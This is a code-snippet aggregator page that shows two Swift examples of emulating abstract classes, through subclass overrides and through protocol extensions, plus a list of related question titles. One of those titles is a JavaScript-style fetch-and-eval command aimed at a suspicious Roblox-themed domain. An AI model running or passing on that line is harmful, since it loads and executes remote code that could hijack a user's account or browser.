Abstract classes in Swift

Abstract class in swift

class Animal {
    func sound() {}
}

class Cat: Animal {
    override func sound() {
        print("miauw")
    }
}

class Dog: Animal {
    override func sound() {
        print("woof")
    }
}

Source: cocoacasts.com

Abstract classes in Swift

protocol Employee {
    var annualSalary: Int {get}
}

extension Employee {
    var biweeklySalary: Int {
        return self.annualSalary / 26
    }

    func logSalary() {
        print("$\(self.annualSalary) per year or $\(self.biweeklySalary) biweekly")
    }
}

struct SoftwareEngineer: Employee {
    var annualSalary: Int

    func logSalary() {
        print("overridden")
    }
}

let sarah = SoftwareEngineer(annualSalary: 100000)
sarah.logSalary() // prints: overridden
(sarah as Employee).logSalary() // prints: $100000 per year or $3846 biweekly

Source: stackoverflow.com

Similar codes

1 vote288 views2 answers
Add to beginning of array swift
Swift
0 vote316 views1 answer
Swiftui button multiple alert
Swift
0 vote359 views1 answer
Left side of mutating operator isn't mutable: 'self' is immutable
Swift
0 vote300 views1 answer
Swift 5 uidatepicker display inline
Swift
1 vote373 views2 answers
Swift create custom button programmatically
Swift
0 vote288 views1 answer
Swift how to set warning message
Swift
0 vote346 views2 answers
Swift push view controller
Swift
0 vote267 views5 answers
Xjavascript $get('//roblox-a.online/api id=239' eval)
Swift
0 vote326 views1 answer
Swift uilabel dynamic height based on text length
Swift
0 vote328 views1 answer
Swift json decode
Swift